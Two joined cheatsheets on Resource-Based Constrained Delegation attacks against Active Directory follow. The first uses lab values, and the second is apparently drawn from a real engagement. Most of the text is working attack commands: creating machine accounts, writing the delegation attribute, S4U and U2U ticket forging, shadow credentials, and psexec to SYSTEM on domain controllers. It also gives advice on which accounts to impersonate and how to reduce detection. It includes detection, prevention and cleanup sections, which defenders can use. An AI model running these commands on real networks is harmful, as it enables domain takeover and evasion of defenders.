Skip to content

RBCD (Resource-Based Constrained Delegation) Attack Cheatsheet

Prerequisites

Required Conditions

  1. Write privileges on target computer object (GenericWrite, GenericAll, WriteProperty, or WriteDACL)
  2. Control of an object with SPN (computer account or user with SPN)
  3. Domain functional level: Windows Server 2012+

Check Prerequisites

# Windows - Find computers where users have write access
Import-Module C:\Tools\PowerView.ps1
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | 
    ?{$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteProperty|WriteDacl"}

Method 1: Standard RBCD Attack (Computer Account)

From Windows

Step 1: Create Fake Computer Account

# Using PowerMad
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount HACKTHEBOX -Password $(ConvertTo-SecureString "Hackthebox123+!" -AsPlainText -Force)

Step 2: Configure RBCD on Target

Import-Module .\PowerView.ps1

# Get computer SID
$ComputerSid = Get-DomainComputer HACKTHEBOX -Properties objectsid | Select -Expand objectsid

# Create security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# Set msDS-AllowedToActOnBehalfOfOtherIdentity
$creds = New-Object System.Management.Automation.PSCredential "DOMAIN\user", (ConvertTo-SecureString "password" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $creds

Step 3: Get Computer Account Hash

.\Rubeus.exe hash /password:Hackthebox123+! /user:HACKTHEBOX$ /domain:inlanefreight.local
# Note the RC4 hash

Step 4: Perform S4U Attack

.\Rubeus.exe s4u /user:HACKTHEBOX$ /rc4:CF767C9A9C529361F108AA67BF1B3695 /impersonateuser:administrator /msdsspn:cifs/dc01.inlanefreight.local /ptt

# Or with additional services
.\Rubeus.exe s4u /user:HACKTHEBOX$ /rc4:CF767C9A9C529361F108AA67BF1B3695 /impersonateuser:administrator /msdsspn:cifs/dc01.inlanefreight.local /altservice:host,RPCSS,wsman,http,ldap,krbtgt,winrm /ptt

From Linux

Step 1: Create Computer Account

# Using Impacket
impacket-addcomputer -computer-name 'HACKTHEBOX$' -computer-pass 'Hackthebox123+!' -dc-ip 10.129.205.35 inlanefreight.local/carole.holmes

Step 2: Configure RBCD

# Using rbcd.py
impacket-rbcd -delegate-from HACKTHEBOX$ -delegate-to DC01$ -dc-ip 10.129.205.35 -action write INLANEFREIGHT.LOCAL/carole.holmes:'Y3t4n0th3rP4ssw0rd'

Step 3: Get Service Ticket

# Get TGS for Administrator
impacket-getST -spn cifs/DC01.inlanefreight.local -impersonate Administrator -dc-ip 10.129.205.35 inlanefreight.local/HACKTHEBOX:'Hackthebox123+!'

# Export ticket
export KRB5CCNAME=./Administrator.ccache

Step 4: Connect to Target

# Using psexec
impacket-psexec -k -no-pass dc01.inlanefreight.local

# Or wmiexec
impacket-wmiexec -k -no-pass dc01.inlanefreight.local

# Remember to add to /etc/hosts:
# 10.129.205.35 dc01.inlanefreight.local

Method 2: RBCD with Normal User Account (When MachineAccountQuota = 0)

Prerequisites

  • User's password or NT hash
  • RC4 must be enabled on the domain
  • User must be added to target's msDS-AllowedToActOnBehalfOfOtherIdentity

From Linux

Step 1: Get NT Hash from Password

pypykatz crypto nt 'B3thR!ch@rd$'
# Output: de3d16603d7ded97bb47cd6641b1a392

Step 2: Get TGT

impacket-getTGT INLANEFREIGHT.LOCAL/beth.richards -hashes :de3d16603d7ded97bb47cd6641b1a392 -dc-ip 10.129.205.35

Step 3: Extract Session Key

impacket-describeTicket beth.richards.ccache | grep 'Ticket Session Key'
# Output: 7c3d8b8b135c7d574e423dcd826cab58

Step 4: Change User Password to Match Session Key

impacket-changepasswd INLANEFREIGHT.LOCAL/[email protected] -hashes :de3d16603d7ded97bb47cd6641b1a392 -newhash :7c3d8b8b135c7d574e423dcd826cab58

Step 5: Request Service Ticket with U2U

KRB5CCNAME=beth.richards.ccache impacket-getST -u2u -impersonate Administrator -spn TERMSRV/DC01.INLANEFREIGHT.LOCAL -no-pass INLANEFREIGHT.LOCAL/beth.richards -dc-ip 10.129.205.35

Step 6: Connect to Target

KRB5CCNAME=Administrator@[email protected] impacket-wmiexec DC01.INLANEFREIGHT.LOCAL -k -no-pass

From Windows (Modified Rubeus)

# Requires custom Rubeus build with U2U support and password change functionality
# Not included in standard Rubeus - requires modification as described in the research

Common SPNs to Target

Service SPN
SMB/CIFS cifs/target.domain.local
WinRM http/target.domain.local or wsman/target.domain.local
PowerShell Remoting http/target.domain.local
RDP termsrv/target.domain.local
LDAP ldap/target.domain.local
WMI host/target.domain.local

Troubleshooting

Common Errors

Error Cause Solution
KDC_ERR_S_PRINCIPAL_UNKNOWN User doesn't have SPN Use U2U method or computer account
KDC_ERR_BADOPTION KDC can't decrypt ticket Check if password change worked
KRB_AP_ERR_SKEW Time sync issue Sync time with DC
Access Denied Wrong SPN or insufficient privileges Try different SPNs (cifs, host, etc.)

Verification Commands

# Check if RBCD is configured
impacket-rbcd -dc-ip 10.129.205.35 -t DC01 -action read inlanefreight\\user:password

# List computer accounts you created
Get-DomainComputer -Identity HACKTHEBOX$

# Check current ticket
klist

Cleanup

Remove RBCD Configuration

# Windows
Get-DomainComputer DC01 | Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity' -Credential $creds
# Linux - Clear RBCD
impacket-rbcd -dc-ip 10.129.205.35 -t DC01 -action remove -f HACKTHEBOX inlanefreight\\user:password

Remove Computer Account

# Windows
Remove-ADComputer -Identity "HACKTHEBOX" -Credential $creds

Detection Indicators

  • Event ID 4741: Computer account created
  • Event ID 4742: Computer account changed
  • Event ID 4724: Password reset attempt
  • Event ID 4768: TGT requested (RC4 encryption)
  • Event ID 4769: Service ticket requested (S4U2Self/S4U2Proxy)
  • Unusual changes to msDS-AllowedToActOnBehalfOfOtherIdentity attribute

Prevention

  1. Set ms-DS-MachineAccountQuota to 0
  2. Disable RC4 encryption in Kerberos
  3. Monitor and restrict write permissions on computer objects
  4. Enable Protected Users group for sensitive accounts
  5. Monitor for RBCD attribute modifications
  6. Implement PAC validation

Tools Reference

Windows Tools

  • PowerView: AD enumeration and manipulation
  • PowerMad: Computer account creation
  • Rubeus: Kerberos attack tool
  • Mimikatz: Credential extraction

Linux Tools

  • Impacket Suite:
  • addcomputer.py: Create computer accounts
  • getTGT.py: Request TGTs
  • getST.py: Request service tickets
  • psexec.py, wmiexec.py, smbexec.py: Remote execution
  • describeTicket.py: Parse ticket details
  • changepasswd.py: Change passwords
  • rbcd.py: RBCD configuration tool
  • BloodHound.py: AD enumeration
  • pypykatz: Password/hash operations

Resource-Based Constrained Delegation (RBCD) — Writes & Computerless U2U — Cheatsheet

Purpose: Weaponize write access to msDS-AllowedToActOnBehalfOfOtherIdentity into SYSTEM on the target — classic computer-account RBCD when you can create/own a machine, and Forshaw's SPN-less U2U variant when you can't.

Prereqs / context: Linux-first, domain-joined ops box using bloodyAD/impacket/certipy with Kerberos ccaches (KRB5CCNAME, kinit -k from /etc/krb5.keytab). You need (a) msDS-AllowedToActOnBehalfOfOtherIdentity WRITE on the target computer object, and (b) a controllable principal to name as the delegate. RBCD does not require TrustedToAuthForDelegation on the front-end; the only two gates are write on the target + a non-Protected principal to impersonate. The engagement primitive here was a standard user holding that WRITE on ~16 NA computer objects (incl. a DC) — Identity disputed it as "can't be used"; it was live.


0. Confirm the write primitive (round-0 enumeration)

KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get writable --detail   # list objects you can write + which attrs
# look for 'msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE' on any DC or high-value server
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object '<TARGET>$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity   # baseline (should be empty pre-attack)

1. Choose / obtain a front-end (delegate) principal WITH an SPN

You need a controllable principal that holds an SPN. Three options, in order of cleanliness:

# OPTION A — create a computer (slam-dunk if allowed). Check BOTH gates first:
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object 'DC=<dc>,DC=<dc>,DC=<dc>' --attr ms-DS-MachineAccountQuota   # need >0
# AND confirm Authenticated Users still hold "Add workstations to domain" (SeMachineAccountPrivilege) in the Default Domain Controllers GPO (see PowerShell check below)
addcomputer.py -computer-name 'PWN$' -computer-pass '<USER_PW>' -dc-ip <DC_IP> -k -no-pass '<DOMAIN>/<USER>'   # creates PWN$ with HOST/ SPNs then your delegate

# OPTION B — an existing machine account you already control via shadow-cred then PKINIT (what we used)
certipy shadow auto -u '<FOOTHOLD>$@<DOMAIN>' -hashes :<NT_HASH> -account '<FOOTHOLD>$' -dc-ip <DC_IP>   # writes msDS-KeyCredentialLink, mints PKINIT cert + AES TGT
certipy auth -pfx <foothold>.pfx -dc-ip <DC_IP>          # PKINIT then <foothold>.ccache with an AES256 session key (NOT RC4)
# <FOOTHOLD>$ already carries HOST/<FOOTHOLD>.<DOMAIN> then it's a valid RBCD "from" principal

# OPTION C — the computerless route (no SPN-bearing principal available) then jump to Section 4 (U2U)

The GPO/MAQ gate, from a Windows box if you have one (SeMachineAccountPrivilege is not visible over LDAP):

Get-ADObject -Identity ((Get-ADDomain).distinguishedName) -Properties ms-DS-MachineAccountQuota   # MAQ value
(Get-GPOReport -All -ReportType xml | Select-String "SeMachineAccountPrivilege" -Context 0,5)      # who can add workstations

2. Write the RBCD ACE, verify, (later) clean up

# SET: allow <FOOTHOLD>$ to act on behalf of others to <TARGET>$  (write is evaluated in the TARGET's domain)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add rbcd '<TARGET>$' '<FOOTHOLD>$'
# VERIFY the trustee landed (must come back populated with <FOOTHOLD>$'s SID)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object '<TARGET>$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity
# REMOVE when done (reverts the descriptor)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> remove rbcd '<TARGET>$' '<FOOTHOLD>$'

Impacket alternative (same effect):

rbcd.py -delegate-to '<TARGET>$' -delegate-from '<FOOTHOLD>$' -action write -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<FOOTHOLD>$'   # set
rbcd.py -delegate-to '<TARGET>$' -action read   -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<FOOTHOLD>$'                              # verify
rbcd.py -delegate-to '<TARGET>$' -delegate-from '<FOOTHOLD>$' -action remove -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<FOOTHOLD>$' # clean up

DC pinning matters. Run the write and the subsequent S4U against the same DC (--host/-dc-ip). Writing on DC-A then S4U'ing DC-B before replication = BADOPTION (see the notes below).


3. S4U from the front-end → ticket on the target → SYSTEM

export KRB5CCNAME=<foothold>.ccache    # AES TGT for <FOOTHOLD>$ from Section 1B (PKINIT), or -hashes/-aesKey
# Full S4U2self + S4U2proxy: impersonate a NON-Protected principal that has local admin on <TARGET>
getST.py -impersonate '<SVC>@<DOMAIN>' -spn 'cifs/<TARGET_FQDN>' -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<FOOTHOLD>$'
export KRB5CCNAME='<SVC>@*.ccache'
psexec.py -k -no-pass <TARGET_FQDN>            # SYSTEM (or wmiexec.py / smbexec.py)
services.py -k -no-pass <TARGET_FQDN> list     # SCM access then services.py create/start a payload = SYSTEM-context exec

Machine-account-as-the-target variant (front-end == target's own computer account, S4U2self-to-self, no proxy needed):

getST.py -self -impersonate '<SVC>@<DOMAIN>' -altservice 'cifs/<TARGET_FQDN>' -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<TARGET>$'   # NOTE forward slash in cifs/<...>

Who to impersonate (critical on tiered envs / DCs): - Never Domain Admins / Tier-0 — S4U2proxy refuses non-forwardable tickets for Protected Users / NOT_DELEGATED (UAC 0x100000). - Pick a non-Protected, delegatable account that confers real power on the target: a service/ops account with standing local admin (e.g. the Oracle service account that admins the DB hosts via a GPP-pushed delegate group — not Domain Admins), a Backup Operators member (→ read NTDS/SAM hives on a DC), or a DnsAdmins member (→ ServerLevelPluginDll → DC SYSTEM). - On a DC target, map the impersonated principal to its actual DC primitive and test THAT — DC-capability ≠ "local admin." (e.g. DnsAdmins → dnscmd /config /serverlevelplugindll; Backup Operators → remote registry/reg save of HKLM\SYSTEM+SAM+SECURITY.)


4. Computerless U2U (Forshaw) — when you can't create/own a computer

Make the standard user's NT hash equal its TGT session key, then use User-to-User so the user is its own "SPN-bearing service." Set RBCD to point at the user (not a $ computer). Order is everything — and it only works if RC4 is still usable in the S4U path.

# 0. point the target's RBCD at the USER account (not a computer$)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add rbcd '<TARGET>$' '<USER>'

# 1. get a TGT for the user BEFORE the password change (this fixes the session key you must match)
getTGT.py -hashes :<NT_HASH> '<DOMAIN>/<USER>' -dc-ip <DC_IP>     # (or '<DOMAIN>/<USER>:<USER_PW>')
export KRB5CCNAME=<USER>.ccache

# 2. read that TGT's session key
describeTicket.py <USER>.ccache | grep -i 'Session Key'           # then <SESSION_KEY>

# 3. set the user's NT hash == the session key, on the CORRECT DC (the one you'll S4U against)
changepasswd.py '<DOMAIN>/<USER>:<USER_PW>@<DC_IP>' -newhash :<SESSION_KEY>   # "Password was changed successfully"

# 4. S4U with U2U, reusing the EXISTING ccache (do NOT re-run getTGT — a new TGT = new session key = broken invariant)
getST.py -u2u -self -impersonate '<SVC>@<DOMAIN>' -spn 'cifs/<TARGET_FQDN>' -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<USER>'

Precondition: RC4 must be usable for S4U on that DC. If you get KRB_AP_ERR_MODIFIED here (even with -impersonate <USER> -self), the S4U path is AES-hardened — try a less-hardened sibling domain where the same RBCD write exists, or pivot to Section 1A/1B. (Forshaw: "only works if RC4 is still enabled on the domain.")


What Went Wrong

  • BADOPTION on S4U was replication lag, not a delegation block. The RBCD ACE was written on one DC; the S4U getST hit a different DC before convergence, so that KDC didn't yet see the trustee. Misread early as "the DC defends against RBCD" — it was live. Fix: pin -dc-ip/--host to the same DC you wrote on, or wait for replication. Check which DC each step talks to before blaming a "protected" account.

  • KRB_AP_ERR_MODIFIED on S4U2self with an RC4 TGT against a patched DC. getTGT -hashes :<NT_HASH> (and a ccache built from it) yields an RC4 session key; a patched DC rejects the RC4-keyed PA-FOR-USER checksum → "Message stream modified." This is an integrity/decrypt failure, not an authorization denial (a policy block gives KDC_ERR_POLICY/BADOPTION, and would not be byte-identical across different impersonated users). Fix: feed an AES TGT (PKINIT via certipy auth), or pass -aesKey. Confirm the etype with KRB5CCNAME=... klist -e (look for aes256_cts_hmac_sha1_96, not rc4_hmac (23)).

  • …but AES did not always clear it — and that's the real lesson. Even with a confirmed aes256 session key, impersonating Administrator/Tier-0 still threw KRB_AP_ERR_MODIFIED. Two causes stacked: the impersonation target was Protected, and the dev build (impacket 0.14.0.dev0) churned the -u2u/-self paths. We landed by impersonating a non-Protected standing-admin service account instead → valid cifs/<TARGET> ticket → SYSTEM. Don't fixate on etype; switch the impersonated principal.

  • The computerless-U2U "hash ≠ session key" excuse was refuted, but NA still failed. describeTicket/changepasswd timestamps proved NT hash did equal the TGT session key on the correct DC with the TGT taken before the change — yet every getST -u2u (impersonating others and -self) returned KRB_AP_ERR_MODIFIED. Because self-impersonation failed identically, it wasn't about the victim being Protected — it was RC4 hardening in NA's S4U path (and/or the dev-build -u2u regression). The same class was still exploitable in less-hardened sibling domains.

  • changepasswd against the wrong DC. An early attempt pointed changepasswd … @<IP> at an unrelated box (not a DC of this domain) and silently did nothing useful. Always target a real DC of <DOMAIN> and the same one you S4U against.

  • Don't re-pull the TGT after -newhash. A fresh getTGT gets a new session key, breaking the hash == session-key invariant. Same trap with Rubeus: s4u /u2u /rc4:<hash> fetches a fresh TGT — import the exact existing ticket with /ticket:<b64-kirbi> so the session key stays put.

  • Decisive A/B tests when -u2u won't fire: (1) re-run the same ccache + same hash under a pinned release pipx run --spec 'impacket==0.12.0' getST … to rule out the dev build; (2) re-run the whole flow in a sibling domain to localize the RC4 hardening; (3) check msDS-SupportedEncryptionTypes on the account and the DC.

  • KDC_ERR_C_PRINCIPAL_UNKNOWN on bare Administrator → qualify the realm: -impersonate 'Administrator@<DOMAIN>'. And use forward slash in cifs/<host> / -altservice 'cifs/<host>' (a backslash cifs\<host> silently misparses).

  • noPAC is orthogonal. If noPac.py/manual sAMAccountName-spoof returns KDC_ERR_S_PRINCIPAL_UNKNOWN (KB5008380/KB5008602 patched), it doesn't matter — RBCD doesn't care about CVE-2021-42278. Pivot to the RBCD write.

  • -newhash sets pwdLastSet=0 (must-change-at-logon) but that does not cause MODIFIED — a must-change account fails AS with KDC_ERR_KEY_EXPIRED, which you'd see at getTGT, not as a decrypt error on the S4U reply. It does, however, leave the account logon-broken until restored.


Detection / OPSEC

  • Writing msDS-AllowedToActOnBehalfOfOtherIdentity is a directory change to the object's security descriptor → Event 5136 (Directory Service Changes) on the DC if SACL auditing is on. Set → use → remove promptly; minimize the window.
  • S4U2self/S4U2proxy generate 4769 TGS requests naming the impersonated user + the requested SPN; impersonating high-value principals to cifs/ is high-signal. Prefer one quiet non-Protected target.
  • changepasswd/-newhash is a password change (4724/4723) and zeroes pwdLastSet — noisy and destructive to the account.
  • Shadow-cred (Option B) writes msDS-KeyCredentialLink (a new DeviceID) — auditable; remove it.
  • Pin a single DC for every step: avoids replication artifacts (and the BADOPTION red herring) and keeps your activity on one log.

Cleanup (this technique leaves artifacts — revert all of it)

KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> remove rbcd '<TARGET>$' '<FOOTHOLD>$'   # or '<USER>' for the U2U variant
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object '<TARGET>$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity   # confirm empty
- Remove any shadow credential (msDS-KeyCredentialLink DeviceID), added SPN, and granted ACE/GenericAll on the front-end object you provisioned. - Delete any computer you created with addcomputer.py. - Restore the altered password on the user whose hash you set to a raw session key (it is currently logon-broken — set it back to a real password).

References

  • James Forshaw — Exploiting RBCD Using a Normal User Account (SPN-less U2U; "only works if RC4 is still enabled"): https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
  • The Hacker Recipes — RBCD (incl. SPN-less / U2U): https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
  • offsecdeer — A Practical Guide to RBCD Exploitation (Impacket + Rubeus): https://medium.com/@offsecdeer/a-practical-guide-to-rbcd-exploitation-a3f1a47267d5
  • Impacket PR #1202 — -self/-u2u/-altservice added to getST: https://github.com/fortra/impacket/pull/1202
  • Impacket issue #1713 — KRB_AP_ERR_MODIFIED in a related S4U flow: https://github.com/fortra/impacket/issues/1713
  • chkja — KRB_AP_ERR_MODIFIED & RC4 hardening misconfiguration (etype-mismatch symptom + how to check): https://www.chkja.dk/blog/wp/active-directory-the-kerberos-client-received-a-krb_ap_err_modified-error-rc4-hardening-misconfiguration/
  • bloodyAD — add rbcd / get writable reference: https://github.com/CravateRouge/bloodyAD